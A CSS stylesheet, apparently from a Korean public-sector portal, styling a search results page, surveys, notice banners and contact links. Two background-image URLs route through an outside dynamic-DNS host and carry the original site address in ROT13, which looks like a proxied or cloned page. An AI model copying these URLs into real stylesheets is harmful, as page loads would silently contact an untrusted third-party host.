#total-search .result .item ul li a p{line-height: 1.6; max-height: 6.4em; word-break: keep-all; font-weight: 400; display: -webkit-box; -webkit-line-clamp: 4;
-webkit-box-orient: vertical; overflow: hidden;}
#total-search .result .item ul li a .text{display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical; overflow: hidden;}
#total-search .result .item ul li a:hover .text{pointer-events: none;}
#total-search .result .item ul li a span{display: inline-block; padding-top: 5px;}
#total-search .result .item ul li a span em{position: relative; padding-left: 21px;}
#total-search .result .item ul li a span em::before{content: ''; width: 1px; height: 14px; position: absolute; left: 10px; top: 3px; background: #02987e;} 
#total-search .result .item .file{display: flex; align-items: center; justify-content: space-between; position: relative; padding: 24px 25px 24px 29px !important; border: 1px solid #d9d9d9; border-radius: 10px; margin:22px 0 14px 0; flex-wrap: wrap;}
#total-search .result .item .file a{padding-left: 0;}
#total-search .result .item .file a span{padding-top: 0;} 
#total-search .result .item .file strong{display: inline-block;  color: #114ab0; font-weight: 500; text-decoration: none;}  
#total-search .result .item .file strong em{position: relative; display: inline-block;  white-space: nowrap; text-overflow: ellipsis; overflow: hidden; vertical-align: middle; color: #1b1b1b; font-weight: 400; padding-left: 30px;}
#total-search .result .item .file strong em::after{content: ''; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngr.tjq.tb.xe%2Scntr%2Stjcebiva%2Svzntrf%2Sfho%2Sqbg.cat); width: 1px; height: 13px; position: absolute; left:12px; top: 5px;}
#total-search .result .item .file span{color: #2e2e2e;}
#total-search .result .item .file .summary{width: auto; display: block; white-space: nowrap; text-overflow: ellipsis; overflow: hidden;}
#total-search .result .item .file .readmore:hover span{color: #fff;}

#total-search .result .item .file .plus{flex: 1 60%;}  


#total-search .ga-list{padding-top:30px;border-bottom:0; display: flex; flex-direction: row; flex-wrap: wrap;}
#total-search .ga-list img{border: 1px solid #d9d9d9; max-width: 100%; height: 254px;}
#total-search .ga-list a{flex: 1 30%; margin-right: 10px; margin-top: 10px;}
#total-search .ga-list a:nth-child(3n){margin-right: 0;}
#total-search .ga-list a:nth-child(7),
#total-search .ga-list a:nth-child(8),
#total-search .ga-list a:nth-child(10),
#total-search .ga-list a:nth-child(13){flex: 0 33%;}
#total-search .ga-list a:last-child{flex: 0 33%;}
#total-search .ga-list a img{display: block; width: 100%; height: 320px;}
#total-search .ga-list a:hover{text-decoration:none;}
#total-search .ga-list .text{padding:18px 0 18px 11px; border: 1px solid #d9d9d9; border-width: 0px 1px 1px 1px;}
#total-search .ga-list .text em{display:block; line-height:1.1;font-size:18px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;padding-bottom:5px; color: #454545;}
#total-search .ga-list .text span{display:block;white-space:nowrap;margin-top:9px;line-height:1.1; color: #454545;}
#total-search .ga-list a:hover .text em{color: #096bc9;}
#total-search .ga-list .text span em:after{content:'';display:block;width:1px;height:12px;background:#c9c9c9;position:absolute;right:0;top:50%;margin-top:-6px;}
#total-search .result .item .work li{position: relative; border-bottom: 0; padding-left: 5px;}
#total-search .result .item .work li::before{content: ''; width: 4px; height: 4px; background: #454545;
position: absolute; left: -2px; top: 10px;  border-radius: 10px;}

#total-search .banner-box {padding: 20px 0 10px 0;display: flex;justify-content: space-between;}
#total-search .banner-box a {flex: 1 33.33333%;}
#total-search .banner-box a + a {margin-left: 10px;}
#total-search .banner-box img {image-rendering:-webkit-optimize-contrast;width: 100%;}
#total-search .banner-box a:hover img{filter:grayscale(1);}
    


  
@media (max-width:1399px) {

  #search-box::before{width: 1600px; height: 130px; margin-left: -800px;}
  #search-box .bx-1{width:150px}
  #search-box .bx-2{width:calc(100% - 165px);padding-right:40px;}
  #search-box select{line-height:50px;height:50px;font-size:14px;}
  #search-box input[type="search"]{line-height:50px;height:50px;font-size:14px;}
  #search-box input[type="search"]::placeholder{font-size:14px;}
  #total-search{padding-bottom:35px;margin-top:40px;}
  #total-search .popular{padding:30px 0 23px;}
  #total-search .popular strong{font-size:15px;padding-right:12px;height:18px;line-height:18px;}
  #total-search .popular strong:after{width:1px;height:12px;margin-top:-6px;}
  #total-search .popular a{margin-left:6px;font-size:15px;height:18px;line-height:18px;}
  #total-search .popular a em{width:18px;height:18px;line-height: 15px;font-size:13px;}

  #total-search .period{padding:20px 35px;}
  #total-search .period .bx-1{float:none;}
  #total-search .period .bx-2{float:right;margin-top:15px;}
  #total-search .period strong{height:30px;line-height:32px;font-size:16px;}
  #total-search .period .bx-1 div:nth-of-type(n+2) strong{margin-right: 1px;}
  #total-search .period .area{padding-right: 9px;}
  #total-search .period a{width:65px;height:30px;line-height:28px;font-size:13px;}
  #total-search .period label{height:30px;line-height:32px;font-size:16px;}
  #total-search .period input[type="text"]{height:30px;line-height:30px;padding-left:12px;margin-left:5px;width:100px;font-size:15px;}
  #total-search .period .data_end{padding-left:30px;}
  #total-search .period .data_end:after{left:10px;}
  #total-search .period input[type="submit"]{margin-left:10px;height:30px;line-height:32px;font-size:14px;width:70px;}

  #total-search .result h4{padding:30px 0 30px;font-size:20px;}

  #total-search .result .total{padding:8px 35px 20px;}
  #total-search .result .total li{margin:15px 0px 0 0;}
  #total-search .result .total li a{font-size:15px;}
  #total-search .result .total li:after{width:6px;height:6px;top:5px;}

  #total-search .result h4.none{font-size:16px;padding-left:15px;}
  #total-search .no_result{margin:5px 0 -10px;padding-left:15px;}
  #total-search .no_result li{font-size:15px;}
  #total-search .result .item .file strong em{width: 822px;}


  #total-search .item{margin-top:50px;}
  #total-search .item h5{height:40px;line-height:38px;padding-left:15px;font-size:16px;}
  #total-search .result .item ul li > div img{max-width: 100%; width: 500px;  height: 100%;}
  #total-search .item li a strong{font-size:15px;margin-bottom:5px;}
  #total-search .item li a p{font-size:14px;margin-bottom:3px;}
  #total-search .item li a span{font-size:13px;}
  #total-search .item li a span em{margin-left:8px;padding-left:10px;}
  #total-search .item li a span em:after{height:10px;margin-top:-5px;}
  #total-search .popular dl dt{padding-left: 20px;}
  #total-search .popular dl dt::after{right: 6px;}
  #total-search .result .item ul li a span em::before{left: 6px; height: 12px;}
  #total-search .item .more{top:9px;right:15px;font-size:14px;}
  #total-search .result .item .file .summary{width: 755px;}

  #total-search .ga-list a .text em{display: block; font-size: 15px;}
  #total-search .ga-list a .text em span{font-size: 13px;}

  } 
  
  @media screen and (max-width: 1024px){
    #total-search .period .area{padding-left: 10px;}
    #total-search .period .range{padding-left: 10px;}
    #total-search .result .item ul li > div img{width: 100%;}
    #total-search .result .item .file strong em{width: 678px;}
  }  

  @media screen and (max-width: 995px){
    #total-search .result .item .file strong em{width: 460px;}
    #total-search .result .item ul li > div img{width: 900px;}
    #search-box::before{width:1400px; margin-left: -700px;}
    #total-search .result .total{padding:8px 35px 20px 20px;}
    #total-search .result .item .file .summary{width: 550px;} 
    #total-search .period .area{padding-left: 0}
    
 
    #total-search .ga-list{padding-top:25px;}
    #total-search .ga-list .bx{width:calc((100% - 39px) / 4);margin:0 13px 25px 0;}
    #total-search .ga-list a .text{padding: 5px 0 18px 11px;}
    #total-search .ga-list a .text em{font-size: 13px;}
    #total-search .ga-list em{margin-top:15px;font-size:15px;}
    #total-search .ga-list span{margin-top:3px;font-size:13px;}
  }    
  

@media screen and (max-width: 776px){

  #total-search .ga-list a img{height: 100%;}
  #search-box{padding:0;}
  #search-box::before{width: 1200px; margin-left: -600px; height: 133px;}
  #search-box .bx{padding:0 10px; margin-top: 15px;}
  #search-box .bx-1{width:93%; margin-right:7px;}
  #search-box .bx-2{width: 93%; padding: 0 50px 0 10px;}
  #search-box select{line-height:36px;height:36px;font-size:13px;}
  #search-box input[type="search"]{line-height:36px;height:36px;}
  #search-box input[type="search"]::placeholder{font-size: 13px;}
  #search-box input[type="submit"]{transform:scale(.8);top:5px; right: 15px;}
  #search-box input[type="submit"]:active{transform:scale(.8);}
  #total-search{padding-bottom:25px;}
  #total-search .popular{padding:22px 0 15px; text-align:left;}
  #total-search .popular strong{font-size:15px;display:block;margin-bottom:10px;font-weight:700;}
  #total-search .popular strong:after{display:none;}
  #total-search .popular a{margin-left:0px;font-size:14px;height:18px;line-height:18px; padding-right: 15px; white-space: nowrap; text-overflow: ellipsis;
  overflow: hidden; width: 100px;}

  #total-search .period{padding:15px;}
  #total-search .period .range{padding-left: 0;}

 
  #total-search .period .bx-1 div:nth-of-type(n+2) strong{margin-left:0; margin-right: 10px;}
  #total-search .period .area{padding-left: 0;}
  #total-search .period .bx-2{float:none;margin-top:7px;}
  #total-search .period strong{height:26px;line-height:28px;font-size:14px;width:40px; margin-right: 10px;}
  #total-search .period a{width:60px;height:26px;line-height:23px;font-size:12px;}
  #total-search .period label{height:26px;line-height:28px;font-size:14px;width:40px;}
  #total-search .period input[type="text"]{height:26px;line-height:26px;padding-left:10px;margin-left:5px;width: calc(100% - 80px);font-size:14px;}
  #total-search .ui-datepicker-trigger{margin-left: 6px;}
  #total-search .period .bx:nth-child(2n) > div{display:block;margin-bottom:5px;}
  #total-search .period .data_end{padding-left:0px; padding-right: 0;}
  #total-search .period .data_end:after{display:none;}
  #total-search .period input[type="submit"]{margin-left:0px;height:30px;line-height:32px;font-size:13px;width:100%;margin-top:5px;}

  #total-search .result h4{padding:27px 0 25px;font-size:16px;}
  #total-search .result h4.none {padding-top: 27px;}
  #total-search .result h4 br{display:block;}

  #total-search .result .total{padding:8px 15px 10px;}
  #total-search .result .total li{margin:7px 0px 0 0;width: calc((100% - 5px) / 2);}
  #total-search .result .total li a{font-size:14px;}


  #total-search .result h4.none{padding-left:5px;}
  #total-search .result .no_result{margin:5px 0 -5px;padding-left:10px;}
  #total-search .result .no_result li{font-size:13px;}

  #total-search .result .item{margin-top:0px;}
  #total-search .result .item h5{height:36px;line-height: 34px;padding-left:15px;font-size:15px;}
  #total-search .result .item ul .news{padding-top: 0;}
  #total-search .result .item ul li > div{display: block; padding: 10px;}
  #total-search .result .item ul li .news_wrap{flex-direction: column;}
  #total-search .result .item ul li .news_txt{padding-left: 0; padding-top: 15px;}
  #total-search .result .item ul li a span em{padding-left: 5px;}
  #total-search .result .item ul li a span em::before{left: -3px; top: 1px;}
  #total-search .result .item .file{margin: 22px 0 8px 0;}
  #total-search .result .item .file .plus{flex: 1 100%;}  
  #total-search .popular dl dt::after{right: 10px;}
  #total-search .result .item .file strong em{width: 205px; padding-bottom: 3px;}
  #total-search .result .item ul li a > em{display: block;}
  #total-search .result .item li a strong{font-size:15px;margin-bottom:5px;}
  
  #total-search .result .item li a p{font-size:14px;margin-bottom:3px;}
  #total-search .result .item li a span{font-size:13px;}
  #total-search .result .item li a span em{margin-left:8px;padding-left:10px;}
  #total-search .result .item li a span em:after{height:10px;margin-top:-5px;}
  #total-search .result .item .more{top: 7px;}

  #total-search .result .item .file{padding: 27px 0 43px 15px;}
  #total-search .result .item .file span{font-size: 13px;}
  #total-search .result .item .file strong{display: block; padding-right: 15px; font-size: 1.6rem;}
  #total-search .result .item .file strong::after{right: 5px; top: 4px;}
  #total-search .result .item .file .plus,
  #total-search .result .item .file .summary{width: auto; display: block; white-space: nowrap; text-overflow: ellipsis; overflow: hidden;}
  #total-search .result .item .file .readmore{left: 10px; position: relative;}
  #total-search .result .item .file .readmore a:hover span{color: #fff;}

  #total-search .result .ga-list{margin:0 -15px -15px; padding-left:15px; overflow-x: auto; flex-wrap: nowrap; scroll-behavior: smooth; -webkit-overflow-scrolling: touch;}
  #total-search .result .ga-list a{flex: 0 0 180px; margin-right:10px;}
  #total-search .result .ga-list .text{padding:1px 0 10px 10px;}
  #total-search .result .ga-list em{font-size:14px;}
  #total-search .result .ga-list span{margin-top:3px;font-size:12px;}

  #total-search .result .item .work li{border-bottom: 0;}
  #total-search .result .item .work li::before{top: 8px;}
  
  #total-search .banner-box {flex-direction: column;align-items: center;}
  #total-search .banner-box a+a {margin-left: 0;}
  #total-search .banner-box img {width:100%}
  
} 

@media screen and (max-width: 533px){
 
#total-search .period .bx-1 div:nth-of-type(n+2){margin-top:5px;}  
    
}
    
@media (min-width: 1400px){
  .contsArea img{max-width:100%;}  
}


#sub .boSrchArea.new-type fieldset{display:flex;flex-wrap:wrap;justify-content:flex-end;}
#sub .boSrchArea.new-type .bjSrch{flex:1 30%;margin-left:10px;display:flex;align-items:center;margin-bottom:5px;justify-content:flex-end;max-width:772px;}
#sub .boSrchArea.new-type .bjSrch:last-child{margin-bottom:0;}
#sub .boSrchArea.new-type .bjSrch label{width:auto;margin-right:0px;min-width:50px;padding-right:10px;}
#sub .boSrchArea.new-type .bjSrch.spSrch label{min-width:80px;margin-bottom: 5px;}
#sub .boSrchArea.new-type .boSrchPeriod-iptTxt{width: 112px;margin:0;}
#sub .boSrchArea.new-type .yrSrch-iptTxt{margin:0;width:160px;}
#sub .boSrchArea.new-type .yrSrch-iptTxt.datePicker{width:120px;}
#sub .boSrchArea.new-type .yrSrch-selectBox{width:160px;margin:0;}
#sub .boSrchArea.new-type .boSrchPeriod-group{width:auto;float:none;display:flex;align-items:center;justify-content:flex-end;}
#sub .boSrchArea.new-type .boSrchPeriod-group + .boSrchPeriod-group{margin-left:15px;}
#sub .boSrchArea.new-type .boSrchPeriod-group .boMultiSrch-btnBo{flex-shrink:0;}
#sub .boSrchArea.new-type .bjSrch label.cmfm-label{margin-left:20px;}
#sub .boSrchArea.new-type .boSrchPeriod-label{padding-right:10px;}
#sub .boSrchArea.new-type .yrSrch{display:flex;align-items:center;margin-bottom:5px;flex:1;justify-content:flex-end;}
#sub .boSrchArea.new-type .yrSrch .rvSrch-selectBox{margin-bottom:0;width: 204px;margin-left:0;}
#sub .boSrchArea.new-type .yrSrch label{padding-right:10px;}
#sub .boSrchArea.new-type .fromToDate{margin-left:15px;}
#sub .boSrchArea.new-type .boSrchPeriod-group .ui-datepicker-trigger{flex-shrink:0;}


@media (max-width: 1199px){
  #sub .boSrchArea.new-type fieldset{display:block;width:100%;}
  #sub .boSrchArea.new-type label{font-size:14px;}
  #sub .boSrchArea.new-type label{min-width: 80px !important;}
  #sub .boSrchArea.new-type .bjSrch{
    flex-wrap: wrap;
    display: block;
    margin-left: 0;
    max-width: inherit;
}
  #sub .boSrchArea.new-type .yrSrch-selectBox,
  #sub .boSrchArea.new-type .yrSrch .rvSrch-selectBox,
  #sub .boSrchArea.new-type .yrSrch-iptTxt{
    flex: 1;
    width: calc(100% - 83px)  !important;
    display: inline-block;
    max-width: initial;
    margin-top: 0 !important;
}
#sub .boSrchArea.new-type .boSrchPeriod-iptTxt{
  flex: 1;
  width: calc(100% - 105px)  !important;
  display: inline-block;
  max-width: initial;
  margin: 0 !important;
}
  #sub .boSrchArea.new-type .yrSrch-iptTxt.enterPress{
    flex-shrink: 0;
    flex-grow: 0;
    margin-bottom: 5px;
}
  #sub .boSrchArea.new-type .boMultiSrch-btnBo,
  #sub .boSrchArea.new-type .yrSrch-iptTxt.enterPress + .skinBtnBo{margin-left:0 !important;width:100% !important;margin-top:5px !important;}
  #sub .boSrchArea.new-type .boSrchPeriod-group{width:100%;flex-wrap:wrap;display:block;margin-top: 0 !important;margin-bottom: 5px;}
  #sub .boSrchArea.new-type .boSrchPeriod-group + .boSrchPeriod-group{margin:5px 0 0;}
  #sub .boSrchArea.new-type .boSrchPeriod-group .boMultiSrch-btnBo{width:100% !important;margin-top:5px;margin-left: 0;}
  #sub .boSrchArea.new-type .fromToDate,
  #sub .boSrchArea.new-type .bjSrch label.cmfm-label{margin-left:0;}
  #sub .boSrchArea.new-type .boSrch{display:block;}
  #sub .boSrchArea.new-type .mgSrch{font-size:0;}
  #sub .boSrchArea.new-type .yrSrch-iptTxt.datePicker{margin-bottom:5px;width:calc(100% - 102px)  !important}
  
      
}

/* 아웃라인 */
.border_line{display: block; border: 1px solid #c5c9d5; border-radius: 12px; padding: 25px;}
.border_line img{display: block; width: 100%;}

@media (max-width: 716px){
  .border_line{padding: 12px;}
}

/* 소통과참여_설문조사 */

.research-tit{position: relative; margin-bottom: 27px; font-weight: bold;}
.research-ico{display: inline-block;width: 40px;margin-right: 10px;padding: 4px 0;-webkit-border-radius: 4px;-moz-border-radius: 4px;border-radius: 4px;background: #242b45;color: #fff;text-align: center;line-height: 1.5;
font-weight: 400;}
.research_wrap{border: 1px solid #dcdcdc; padding: 0 26px 0 26px;}
.research_wrap.v2{border: 1px solid #dcdcdc; padding: 0 26px 0 26px; margin-bottom: 50px;}
.research:last-child{border-bottom: transparent;}
.research {padding: 40px 0 46px;border-bottom: 2px dashed #dcdcdc; letter-spacing: -1px; } 
.research-info {margin-bottom: 20px;border-radius: 3px;padding: 10px 6px 10px 11px;background: #009ea8;font-weight: 600;font-size: 16px;color: #fff;}
.research-box {overflow: hidden;  display: flex; justify-content: space-between; align-items: center;}
.research-box.v2{display: block;}
.research-txt {float: left;}
.research-label {margin-right: 10px; margin-left: 7px; margin-bottom: 10px; vertical-align: 1px;}
.research-answer,
.research-people,
.research-persent,
.research-graph {display: block;float: left;}
.research-persent {padding:0 17px 0 7px;}
.research-graph {overflow: hidden; position: relative; top: 6px; width: 155px; height: 11px; border: 1px solid #dcdcdc;}
.research-graph img {position: absolute; left: -100%; top: 0; width: 100%; height: 100%; background: #ee2346;}
.research-link {height: 20px;margin-left: 5px;padding: 0 10px;border: 1px solid #8b8f98;-webkit-border-radius: 2px;-moz-border-radius: 2px;border-radius: 2px;background: #f4f4f4;line-height: 20px;vertical-align: middle;}
.research-btnPopEssay {margin-left: 5px;padding: 0 8px; border-radius: 3px;background-color: #e5e5e5; color: #313131;}
.research-txtfield,
.research-textarea {margin: 5px 0;}
.research .essay {margin: 20px auto 0;}
.research-sbj {margin: 25px 0;}
.research-sbj.v2{margin: 25px 0 5px;}
.research-sbjInner.listLv {margin: 0;padding-top:0; font-weight: bold !important;}
.research-sbjInner.listLv:before {top: 14px !important;}
.research .skinSelectBox{font-size: 16px;}
.research-checkbox input[type=checkbox]{accent-color: gray;}
.research-radio [type=radio]{accent-color:gray;}
.research_txt{width: 446px; height: 30px; border: 1px solid #dcdcdc; background: #f9f9f9; padding-left: 10px;}

@media screen and (max-width: 760px){
  .research_wrap.v2 {margin-bottom: 30px;}
  .research{padding: 20px 0;}
  .research-box {flex-direction: column; justify-content: flex-start; align-items: normal;}
  .research .listLv{font-size: 1.8rem !important;}
  .research-btnPopEssay{display: inline-block; margin-left: 0; margin-bottom: 15px;}
	.research-answer {width: 100%;}
	.research-persent,
	.research-graph,
	.research-people {margin-bottom: 10px;text-align: left;vertical-align: top; width: 25%;}
	.research-graph {width: 50%;}
  .research .skinSelectBox{width: 100%; height: 100%;}
  .research_txt{width: 100%;}
  .research-textfield{width: 100%;}
}

#d-day{position: fixed; top: 0; z-index: 2000; width: 100%; padding: 8px 0; background: #f9f9f9; border-bottom: 1px solid #e2e2e2;}
#d-day .d-day-bx{ display: flex; align-items: self-end; justify-content: center;}      
#d-day .d-day-bx h2{font-family: 'GmarketSans'; font-weight: 700; padding-left: 13px;}
#d-day a{background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfgngr.tjq.tb.xe%2Scntr%2Stjcebiva%2Svzntrf%2Sznva%2SQqnl_pybfr.cat)no-repeat; width: 28px; height: 28px; position: absolute; right: 20px; top: 50%; transform: translateY(-50%);}
@media (max-width:716px) {
    #d-day{padding: 12px 0;}
    #d-day .d-day-bx img{height: 25px;}
    #d-day .d-day-bx h2{font-size: 13px; padding-left: 4px;}
    #d-day a{width: 14px; height: 14px; background-size: cover;}
}

/* 알림배너 */

.view-list{position:relative;display:flex;border-bottom:1px solid #c1c1c1;flex-wrap:wrap;}
.view-list .item{width:calc((100% - 60px) / 2); margin-right: 60px; margin-bottom:55px;}
.view-list .item a{display: block; border: 1px solid #dfdfdf;}
.view-list .item a img{display: block; width: 100%; max-height: 250px;}
.view-list .item:nth-child(2n){margin-right: 0;}
.view-list .item strong{display:block;text-align:center;overflow:hidden;text-overflow:ellipsis;margin:17px 0 17px;font-size:16px;font-weight:500;line-height:1.4;}

@media (max-width:1180px) {
  .view-list .item{width:calc((100% - 20px) / 2); margin-right:20px;margin-bottom:40px;}
  .view-list .item strong{margin-top:15px;font-size:16px;}
}

@media (max-width:991px) {
  .view-list .item{margin-bottom: 20px;}
  .view-list .item strong{margin: 10px 0 10px;}
}

@media (max-width:716px) {
  .view-list .item{width:100%; margin-right: 0; margin-bottom: 15px;}
  .view-list .item strong{margin: 5px 0 5px;}
}

/* 알림배너01 */

.view-list.PPGWPV02{position:relative;display:flex;border-bottom:1px solid #c1c1c1;flex-wrap:wrap;}
.view-list.PPGWPV02 .item{width:calc((100% - 80px) / 3); margin-right: 40px; margin-bottom:40px;}
.view-list.PPGWPV02 .item a{display: block; border: 1px solid #dfdfdf;}
.view-list.PPGWPV02 .item a img{display: block; width: 100%; max-height: 250px;}
.view-list.PPGWPV02 .item:nth-child(3n){margin-right: 0;}
.view-list.PPGWPV02 .item strong{display:block;text-align:center;overflow:hidden;text-overflow:ellipsis;margin:17px 0 17px;font-size:16px;font-weight:500;line-height:1.4;}

@media (max-width:1180px) {
  .view-list.PPGWPV02 .item strong{margin-top:15px;font-size:16px;}
}

@media (max-width:991px) {
  .view-list.PPGWPV02 .item{margin-bottom: 20px; width:calc((100% - 30px) / 2); margin-right: 30px; margin-bottom: 30px;}
  .view-list.PPGWPV02 .item:nth-child(2n){margin-right: 0;}
    .view-list.PPGWPV02 .item strong{margin: 10px 0 10px;}
}

@media (max-width:716px) {
  .view-list.PPGWPV02 .item{width:100%; margin-right: 0; margin-bottom: 15px;}
  .view-list.PPGWPV02 .item strong{margin: 5px 0 5px;}
}

@media screen and (max-width:760px) {
  .boSrchArea .boMeta{display: block;}
  .boSrchArea .boMeta .count{display: flex; align-items: center;}
  .boSrchArea .boMeta .count label{margin-left: 0 !important; margin-right: 5px;}
  .ui_box .data_start,
  .ui_box .data_end{width: 100%; padding-left: 0; margin-top: 10px;}
  .ui_box .datePicker{width: 88%;}
  .boSrch-selectBox{max-width: 100% !important;}
}

/* 연락처 링크 */
.tel a {transition: 0.35s; position: sticky;}
.tel a:hover {color: #d0d0d0; transition: 0.35s;}
.tel a:before, .tel a:after {content: ""; width: 100%; border-bottom: 2px solid rgb(0, 158, 168); position: absolute; bottom: 0; left: 0; opacity: 1; transform: scale(1, 1); transform-origin: right center 0;}
.tel a:after {opacity: 0; transform: scale(0, 1); transform-origin: left center 0; }
.tel a:hover:before {opacity: 0; transform: scale(0, 1); transition: opacity 0.2s ease-in-out 0.2s, transform 0.2s ease-in-out 0s;}
.tel a:hover:after {opacity: 1; transform: scale(1, 1); transition: transform 0.2s ease-in-out 0.25s;}